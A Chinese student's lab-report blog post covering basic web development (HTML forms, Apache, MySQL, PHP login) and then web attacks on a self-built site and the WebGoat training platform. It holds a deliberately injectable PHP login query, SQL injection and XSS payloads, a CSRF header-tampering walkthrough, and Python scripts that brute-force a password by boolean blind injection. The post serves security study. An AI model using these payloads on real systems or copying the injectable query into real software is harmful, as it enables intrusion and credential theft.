web综合

web安全

基础问题回答

  • 什么是表单。

    表单是 HTML 的一个标签。它之所以特殊,是因为它可以向其他的 URL 发起 get 请求 或 post 请求,并将表单中的数据写入 http 请求报文。

  • 浏览器可以解析运行什么语言。
    • 非编程语言:HTML、CSS、XML
    • 编程语言:JavaScript
      其实主要还是看厂商支持什么,目前主流的浏览器都是配备了 JavaScript 解析引擎,所以能解析 JavaScript。
  • WebServer支持哪些动态语言
    • 主流:PHP、Java(JSP、Servlet)、Python、JavaScript(Node.js)、ASP、Ruby;
    • 除此之外还有:Go,C# 等;
      框架我就没算上了。
  • 防范注入攻击的方法有哪些
    • 1.对特殊符号进行转义。
    • 2.严格过滤用户输入。
    • 3.SQL预编译。(绕过:order by + case when)
    • 4.WAF防护
    • 5.纵深防御:在数据库层面,严格设计用户和权限,设计视图(虚表),增加表名、列名的复杂度...
    • 6.联合其他手段:比如一旦检测到一次注入攻击,就立即禁掉该用户的IP,防止后续注入攻击(一般都需要信息搜集,不太可能一次注入就达到目的)

实验过程

1.Web前端HTML

1.1 基础知识

HTML

HTML 超文本标记语言。
HTML 文件实际上是个文本文件,经过浏览器解析,形成看到的网页。
HTML 主要由一个个标签组成,和 XML 类似。

表单

是 HTML 的一种标签。菜鸟教程:https://www.runoob.com/tags/tag-form.html
它之所以特殊,是因为它可以向其他的 URL 发起 get 请求 或 post 请求,并将表单中的数据写入 http 请求报文。
需要特殊指出的是,form 表单中不具有 name 属性的输入数据是不会被提交的。
因为 form 表单提交数据的方式是名值对(或者键值对),没有“名”,只有“值”,是非法的。

Get和POST的区别

Get 请求携带的数据是写在 http 报头的路径里面的(问号后面),POST 请求携带的数据是写在 http 报文后面的数据里面的。
携带数据的格式是键值对,类似于 JSON 和 python 中的字典数据结构。eg:name1:value1&name2:value2&......
用 burp 抓包看一下,有个直观的感受。
一个简单的表单:

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8">
		<title></title>
	</head>
	<body>
		<form action="http://www.baidu.com" method="POST">
			<p>username</p>
			<input type="text" name="username"/>
			<p>password</p>
			<input type="password" name = "passwd" />
			<p>sex</p>
			<input type="text" name="sex"/>
			<br><br>
			<input type="submit"/>
		</form>
	</body>
</html>

填写提交后抓包
POST 请求

把 表单中的 POST请求 改成 GET请求

1.2 apache

启动 Apache
查看Apache状态 sudo systemctl status apache2

成功启动了,验证一下
http://localhost:8080

停止Apache服务 service apache2 stop
重要的默认安装位置

/etc/apache2/apache2.conf     Apache配置文件
/var/www/html                 网站根目录
/var/log/apache2              日志

2.Web前端javascipt

2.1 基础知识

JavaScript

JavaScript是一种编程语言,由浏览器解析并执行,主要用于控制网页和浏览器的行为(前端)。
其中事件-响应机制,是主要的和用户交互的方法。
后来 JavaScript 出圈了,用 JS 的人越来越多,JS 的功能也越来越丰富和强大,现在 JS 也可以用于后端开发。
目前 JavaScript 已经超过 PHP ,位于编程语言排行榜的第 6 名左右。

DOM

DOM 文档对象模型,是W3C组织推荐的处理可扩展置标语言的标准编程接口。它是一种与平台和语言无关的应用程序接口(API)。
DOM 是一种标准,各个编程语言通过实现这个标准,提供操控 DOM 的功能。
当网页被加载时,浏览器会创建页面的文档对象模型。
JS 操作 DOM 的简单例子:document.getElementById("demo").innerHTML = "Hello World!";
W3school 教程传送门:https://www.w3school.com.cn/js/js_htmldom_document.asp

JavaScript安全问题

前端的JavaScript代码是可以在浏览器里面被用户禁用的。
如果想用 JavaScript 做验证,那么这是很不安全的。因为用户可以把你的这段代码删除掉或者禁用掉。
一个典型的例子是文件上传漏洞。
比如我用 JavaScript 限制用户只能上传 png 后缀的图片,但用户可以通过禁用 JavaScript 代码,突破你的限制。
也可以使用 burp 抓包工具,在 JavaScript 运行完之后,篡改 http 数据包,从而突破限制。
总而言之,只用 JavaScript 做安全性的校验,是不可取的。

2.2 js前端验证登录

一个带js前端验证的登录页面

<!DOCTYPE html>
<html>

<head>
    <meta http-equiv="content-type" content="text/html; charset=utf-8">
    <meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1,user-scalable=no">
    <title>登录</title>
    <link rel="stylesheet" href="login1.css">
    <script>
           // js正则验证相关字符的意义
        // 1.  /^$/ 这个是个通用的格式。
         // ^ 匹配输入字符串的开始位置;$匹配输入字符串的结束位置
        // 2. 里面输入需要实现的功能。
           // * 匹配前面的子表达式零次或多次;
           // + 匹配前面的子表达式一次或多次;
            // ?匹配前面的子表达式零次或一次;
           // \d  匹配一个数字字符,等价于[0-9]
        window.onload = function(){
        document.getElementById("form").onsubmit = function(){
                return checkUsername() && checkPassword() && checkPassword2() && mailbox() && checkMobilePhone() && imgCode();
        };
            document.getElementById("username").onblur = checkUsername;
            document.getElementById("password").onblur = checkPassword;
            document.getElementById("password2").onblur = checkPassword2;
            document.getElementById("email").onblur = mailbox; 
            document.getElementById("telphone").onblur = checkMobilePhone; 
             document.getElementById("checkcode").onblur = imgCode; 
        }            
        function checkUsername(){
            //固定六位到十位字符用户名包含大小写字母与数字的组合
            var username = document.getElementById("username").value;
            var reg_username =/^[0-9A-Za-z]{1,26}$/;
            var flag = reg_username.test(username);
            var s_username = document.getElementById("s_username");
            if(flag){
		//window.alert('欢迎使用!!');
                return true;
            }else{
                //window.open("http://www.4399.com/","_search");
                return false;
            }
            
        }

        function checkPassword(){
            //固定六位到十位字符密码包含大小写字母与数字的组合,当然你也可以改变正则方式,详情可见https://www.jb51.net/article/115170.htm
            var password = document.getElementById("password").value;
            var reg_password = /^[0-9A-Za-z]{1,26}$/;
            var flag = reg_password.test(password);
            var s_password = document.getElementById("s_password");
            if(flag){
                return true;
            }else{
                return false;
            }
        }
        function checkform(){
            //表单总确认
       if(checkUsername()==false){
        window.alert("用户名不能为空!");
       }
       if(checkPassword()==false){
        window.alert("密码不能为空!");
       }
	 var sww = 'admin';  // 设置用户名名称
    	var sty = '123456'; // 设置密码
	var username = document.getElementById("username").value;
	var password = document.getElementById("password").value;
	if (sww == username&& sty == password){
	window.alert('欢迎您:'+ username);
	}else window.alert('登录失败!!')
    }
    </script>

</head>

<body>
    <form action="index.php" class="login" method = "post">
    <p>welcome!</p>
    <h2>请登录</h2>
    <input type="text" name="username" id="username" placeholder="请输入用户名"  onblur="checkUsername(this.value)">
    <span id="s_username" class="error"></span>
    <input type="password" name="password" id="password" placeholder="请输入密码" onblur="checkPassword(this.value)">
    <span id="s_password" ></span>
    <input type="submit" class="btn" value="登  录" onclick="checkform();">
    </form>
</body>

</html>

账号和密码检验


登录成功后,回显用户名

2.3 尝试注入攻击

注入 JS 脚本的根本要求:1.输入可控。2.页面要回显我输入的恶意代码。
用户名是我可以控制的,而且用户名会在 “欢迎您 + 用户名” 中回显。
这个时候就要利用 JS 的安全问题,F12 篡改 JS 代码,把 onblur 等校验函数都删了。
然后用户名用:<script>alert(1);</script>,提交表单。

把表单 action 的地址换成 index.php ,method 换成 post
index.php

!DOCTYPE html>
<html>
<head>
	<title>Login Form</title>
</head>
<body>
	<?php
		if(isset($_POST['username'])) {
			$username = $_POST['username'];
			echo "欢迎您:" . $username;
		}
	?>
	<form method="post" action="">
		<label for="username">用户名</label><br />
		<input type="text" id="username" name="username" required /><br />
		<input type="submit" value="登录" />
	</form>
</body>
</html>

提交恶意代码(先删除负责校验的 JS 代码)

成功弹窗了

我们可以在 index.php 解析出来的 HTML 源代码中找到注入的 JS 代码

当然也可以注入 HTML


3. Web后端:MySQL基础

3.1 安装mysql

sudo apt-get install mysql-server      //用于运行 MySQL 服务,通常是在3306端口
sudo apt-get install mysql-client      //用于远程登录 MySQL 服务
# sudo apt-get install phpmyadmin      //图形化mysql管理工具(网页式)

启动 MySQL 服务

service mysql start           //stop,restart
sudo systemctl status mysql        //查看MySQL服务的状态

3.2 简单使用

主要是为了后面 PHP 连接操作做准备,详细使用请参考 MySQL 官方手册。
登录 MySQL 服务,并进行安全配置

sudo mysql -uroot -p
exit

成功登录,可见 root 的密码是空

接下来进行安全性设置,顺便改个 root 密码

sudo mysql_secure_installation

CREATE DATABASE IF NOT EXISTS test;
use test

插入数据

DROP TABLE IF EXISTS `user`;
CREATE TABLE `user` (
  `ID` varchar(32) NOT NULL,
  `NAME` varchar(20) CHARACTER SET utf8 COLLATE utf8_general_ci DEFAULT NULL,
  `PASSWORD` varchar(20) NOT NULL,
  `SEX` varchar(1) NOT NULL,
  `BIRTHDAY` datetime DEFAULT NULL,
  `EMAIL` varchar(60) DEFAULT NULL,
  `MOBILE` varchar(11) DEFAULT NULL,
  `ADDRESS` varchar(30) CHARACTER SET utf8 COLLATE utf8_general_ci DEFAULT NULL,
  `STATUS` decimal(6,0) NOT NULL,
  PRIMARY KEY (`ID`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;


插入数据

INSERT INTO `user` VALUES ('admin1', 'cfq', '1234qwer', 'T', null, '123123@qq.com', null, null, '0');
INSERT INTO `user` VALUES ('client1', null, 'aaaaaa', 'T', null, 'jdsf@qq.com', null, null, '1');
INSERT INTO `user` VALUES ('client2', null, 'asdfasdf', 'T', null, '234498237@qq.com', null, null, '1');
INSERT INTO `user` VALUES ('client3', '徐亮', '222222', 'T', '2010-01-01 00:00:00', 'xulaign@qq.com', '1882394', 'beijignsh', '1');
INSERT INTO `user` VALUES ('李四', '李四', 'adsjfl', 'T', '2021-01-01 00:00:00', 'ASDF', 'ASDF', 'ASDF', '1');


新建用户
每次都用最高权限的 root 用户登录数据库是存在安全隐患的
所以我们新建一个用于管理test数据库的用户,可以远程连接

create user 'dboper'@'%' identified by 'test123';
use mysql;
select user,host from user;


用户授权
使 dboper 拥有 test 数据库的管理员权限

grant all privileges on test.* to 'dboper'@'%' with grant option;
FLUSH PRIVILEGES;

退出当前用户,使用 dboper 登录 test 数据库

mysql -uFSadmin -p flowershop


检查权限

insert into user values('admin','cfq','123123','T',null,null,null,null,0);

delete from user where id='admin';

4. Web后端:PHP基础

4.1 安装PHP

sudo apt-get install php

用 hello.php 验证

cd /var/www/html/
sudo vim hello.php
<?php
  echo "hello world!";
?>

4.2 编写PHP网页,连接数据库,进行用户认证

前端登录界面保持不变,PHP后端验证代码

?php
//获取提交的用户名和密码
$username = $_POST['username'];
$password = $_POST['password'];

//连接到 MySQL 数据库
$mysqli = new mysqli('localhost', 'dboper', 'test123', 'test');

//检查连接是否成功
if ($mysqli->connect_error) {
    die('Connect Error (' . $mysqli->connect_errno . ') ' . $mysqli->connect_error);
}

//查询具有给定用户名和密码的用户是否存在于数据库中
$query = "SELECT * FROM user WHERE ID='$username' AND password='$password'";
$result = $mysqli->query($query);

//如果存在,则显示欢迎消息;如果不存在,则显示错误消息并跳转回登录页面
if ($result && $result->num_rows > 0) {
    echo "Welcome, $username!";
} else {
    echo "Login failed.";
    header("Location: login1.html");
}

//关闭数据库连接
$mysqli->close();
?>

验证成功回显,失败重新跳转到login1.html

5.最简单的SQL注入,XSS攻击测试

5.1 SQL注入

在我这个登录中,最简单的SQL注入是在用户名之后,加上'#就可以不用密码登录任意存在的用户。
注入后的 SQL 语句会变成下面这样,and 后面的密码验证直接被注释掉了。

select count(*) from user where mobile='13238853277'#' and password='1234'


5.2 最简单的XSS

之前的 xss 之前已经不行了,因为用户名不是我们可以任意控制的了,现在用户名必须来源于数据库中已有的数据。
但如果有注册功能,我们可以利用注册功能,向数据库写入一个我们可以控制的用户名,这样用户名还是可控的。
所以我的系统里面最简单的 xss 要结合 SQL 注入实现。
在用户名之后,加上'#<script>alert(1)</script>

6.选做Webgoat或类似平台的SQL注入、XSS、CSRF攻击各一例

安装webgoat
方法一:运行官方Jar包

在 https://github.com/WebGoat/WebGoat/releases 中,下载最新的v8.2.2.jar
然后java -jar webgoat-server-8.2.2.jar
然后访问 http://127.0.0.1/WebGoat 即可

方法二:docker安装

docker search webgoat
docker pull webgoat/webgoat-8.0
docker images
systemctl restart docker
docker run -dt --name webgoat -p 8080:8080 --rm webgoat/webgoat-8.0
然后访问 http://localhost:8080/WebGoat 即可

6.1 sql注入

SQL Injection (advanced) 第3页
先拿到 user_data 表中的数据
jack' or '1'='1

再通过堆叠注入,拿到 user_system_data 表中的数据。
z';select * from user_system_data;--

他说让我再试一下 union select 。
因为 union 是求并集,所以字段数量要一样(7个字段),而且相应字段的数据类型还要一样
z' union select userid,user_name,user_name,user_name,password,cookie,userid from user_system_data--+

SQL Injection (advanced) 第5页
他说要用 Tom 用户登录。
先试一下能不能注册一个 Tom 用户。注册成功了。赶紧去登录,他说这不是 Tom 用户??
再试一下注册一个 tom 用户,他说 tom 用户已经存在了。说明我们要登录的用户名是 tom 而不是 Tom。
那就去登录吧,先随便试一下弱口令 123456,他说 'No results matched. Try Again.'
那我猜测它的 SQL 语句 大概是 select count(*) from user where username='tom' and passsword='123456';
试一下万能密码

tom' or 1=1--+
1' or 1=1--+

不太行,这种情况很有可能是过滤了单引号,换注册页面试试看。
注册页面的话 SQL 语句一般是 insert into user values('username','email','password');
我们尝试在 password 处进行注入攻击
password

123');select 1;--+

没有任何回显,这是个盲注。
注册页面还有另外一个功能,判断用户是否存在。如果它是单独用select count(*) from user where username='username';实现的话,也可能可以注入攻击,我们尝试一下。
首先注册一个 a 用户
然后尝试注入攻击
select count(*) from user where username='a' and 1=1--'
他说用户已经存在。但是 a' and 1=1-- 这个用户之前并没有注册过,这里很可能存在漏洞。

再尝试select count(*) from user where username='a' and 1=2--'
他说创建用户成功了。
说明这里确实存在注入的漏洞,我们的 payload 确实生效了。
那么这就是一个布尔盲注。
解释一下,如果 and 后面的条件为真,那么页面就会返回 already exist,反之,则会注册成功。
首先我们判断爆出当前数据库名字的长度。

a' and length(database())<10--  //false
a' and length(database())<20--  //false
a' and length(database())<30--  //false
a' and length(database())<40--  //false
a' and length(database())<50--  //true

手工跑还是太费劲了,我们让 burp 的 intruder 帮我们跑一下
发现database()的值的长度是 42

接下来让我们判断他的每一位的ascii码的值
ascii(substr(database(),1,1))=65--
也是让 burp 的 intruder 帮我们跑一下,从 a-z(97-122)和 A-Z (65-90),没跑出来
直接 0 - 128 跑,最后跑出来个 47 ,是斜杠 / ,奇葩

然后爆破第二个字符...
ascii(substr(database(),2,1))=65--
直接用 burp 的 cluster bomb 从第一个 1 字符爆破到第 42 个字符。
得到 database() = /hnme/webgoat/.webgoat-8.1.0//data/webgoat

这种情况下,表名、字段名基本靠猜。我们先自己猜一下,实在不行只能上 sqlmap 进行字典爆破了。
a' and length(password)=6-- //a用户是我注册的,我知道a的密码长度是6
哇,一次就猜对了!猜错了它会提示 Sorry the solution is not correct。

接下来猜 Tom 的。
burp还是有点累了,而且还要人工把 ascii 码转回来,容易出错。
写个 python 脚本跑一下吧。
先跑一下密码的长度

import requests
from string import printable

chars = printable

headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0',
    'Accept': '*/*',
    'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
    'X-Requested-With': 'XMLHttpRequest'
}
cookies = {
    'JSESSIONID': 'pFKRxzQrYdvDYNgd8knuM2PmBhZR8yzII-HbSQ3h'
}
url = 'http://192.168.144.151:8080/WebGoat/SqlInjectionAdvanced/challenge'


def pwd_len():
    for i in range(0,1000+1):
        data = '''username_reg=tom'and(length(password)<{})--&email_reg=1@1.1&password_reg=123123&confirm_password_reg=123123'''.format(i)
        respond = requests.put(url=url, headers=headers, cookies=cookies, data=data)
        if 'already exists' in respond.text:
            return i-1

    
if __name__ == '__main__' :
    print(pwd_len())


密码长度 23

再爆破密码的字符

import requests
from string import printable

chars = printable

headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0',
    'Accept': '*/*',
    'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
    'X-Requested-With': 'XMLHttpRequest'
}
cookies = {
    'JSESSIONID': 'pFKRxzQrYdvDYNgd8knuM2PmBhZR8yzII-HbSQ3h'
}
url = 'http://192.168.144.151:8080/WebGoat/SqlInjectionAdvanced/challenge'


def pwd_len():
    for i in range(0,1000+1):
        data = '''username_reg=tom'and(length(password)<{})--&email_reg=1@1.1&password_reg=123123&confirm_password_reg=123123'''.format(i)
        respond = requests.put(url=url, headers=headers, cookies=cookies, data=data)
        if 'already exists' in respond.text:
            return i-1

def pwd_str():
    result = ""
    for i in range(0,23+1):
        for char in chars:
            data = '''username_reg=tom'and(ascii(substr(password,{},1))={})--&email_reg=1@1.1&password_reg=123123&confirm_password_reg=123123'''.format(i,ord(char))
            respond = requests.put(url=url, headers=headers, cookies=cookies, data=data)
            #print(respond.text)
            if 'already exists' in respond.text:
                result += char
                print(result)
                break
    return result
        
if __name__ == '__main__' :
    #print(pwd_len())
    print(pwd_str())


经过几分钟的等待,终于爆破出了密码 thisisasecretfortomonly

拿去登录,通关!

2.XSS

根本要求:我输入的数据,要能回显到受害者的 HTML 中。
危害就是执行 JS 脚本
分类:

  • 反射型:通常是恶意链接的形式。点击这个链接,发送请求给服务器,服务器由于存在漏洞,就会返回给你一个带有攻击者构造好的 JS 脚本。
  • 存储型:我把 JS 代码写入服务器的存储设备(数据库),别的用户从数据库中读取数据的时候,读到我的 JS 代码,就可能会被攻击。
  • DOM型:通常是恶意链接的形式。点击这个链接,发送请求给服务器,服务器返回一个网页,由于网页中的 JS 脚本有漏洞,他就会操纵 DOM ,写入攻击者构造好的 JS 脚本。
    先随便点点,发现下面有回显银行卡号,

    然后我们做测试,
    <script>alert(20191206);</script>
    成功执行了 JS 代码,说明这里确实存在 xss 漏洞。

    但是我们现在 xss 攻击的是自己,是我们自己执行了恶意的 JS 代码。这是初学的时候很容易分不清的地方。
    所以为了攻击别人,就要构造一个恶意的链接。
    虽然地址栏一直没有变化,但是我们通过 burp 抓包可以看到,确实是 get 请求方式。
    这样,我们就可以构造恶意链接了
http://192.168.144.151:8080/WebGoat/CrossSiteScripting/attack5a?QTY1=1&QTY2=1&QTY3=1&QTY4=1&field1=%3Cscript%3Ealert(20191206)%3B%3C%2Fscript%3E&field2=111

遗憾的是他 json 处理的时候做了转义,不能成功。

先说答案:start.mvc#test
java + mvc 感觉他这个像 spring 框架。
题目给的提示是 So, what is the route for the test code that stayed in the app during production?
也就说要找一个路由(产品测试的时候通常会有一个用户测试的路由,然后产品上线后也没删除)
F12 ,看看 network

正好有个叫和路由有关的 JS,点击去看看,发现一个叫 test 的路由,而且好像可以传参。

往下找到它对应的函数,调用了另外一个函数 this.lessonController.testHandler(param);

再找到 LessionController.js 中的 testHandler 函数


它又调用了另外一个函数 this.lessonContentView.showTestParam(param)
再找到 lessonContentView.js 中的 showTestParam 函数,终于找到正主

该函数直接将 test 路由传递过来的参数直接显示到页面上,存在XSS。
基于第10页的 test 路由,直接传参上去

没有回显,可能是函数本身不带输出,加上console.log(),控制台也没有输出。
<script>标签可能是不能用,换一个 <img> 标签

提交那个 output 的随机数就过了

6.3 csrf

跨站请求伪造:伪造的是什么呢?主要是伪造身份信息。
攻击者通过构造 URL(或其他方式,比如可以结合xss) ,让受害者访问某个服务器,并执行某种操作。
如果受害者点击链接时登录了,或者浏览器存有用户凭证,或者服务器端的认证后的会话还没结束,
攻击者就成功强迫受害者执行了某个操作,或者说攻击者把自己伪装成了受害者执行了某种操作。
先点一下试试,他说 Appears the request came from the original host
burp 抓包看看

那就把 original host 换一下吧,同时把 referer 也换一下(referer 用于标识从哪里跳转过来的)
他说成了

提交一下flag,他说不对,回头再看眼数据包,把下面的 csrf 改成 true,就行了。

实验体会

本次实验帮我回顾了一下 web 的开发 和 web 的基础安全问题。以前搭建 LAMP 的时候,多数都用的 phpstudy 快速搭建,非常方便,而且可以随意切换组件的版本。少数是直接用的 LAMP,总之就是从来没有一个个地搭建 apache 、MySQL 和 PHP 环境。所以也是趁此机会,体验一下手动从头搭建一遍 LAMP 的环境。总的来说,Web安全是一个不断进化的行业,需要不停地学习新技术和工具。同时,也需要保持好奇心、热情和坚韧精神,这样才能不断进步。

posted @   201230RookieHacker  阅读(25)  评论(0编辑  收藏  举报
努力加载评论中...
点击右上角即可分享
微信分享提示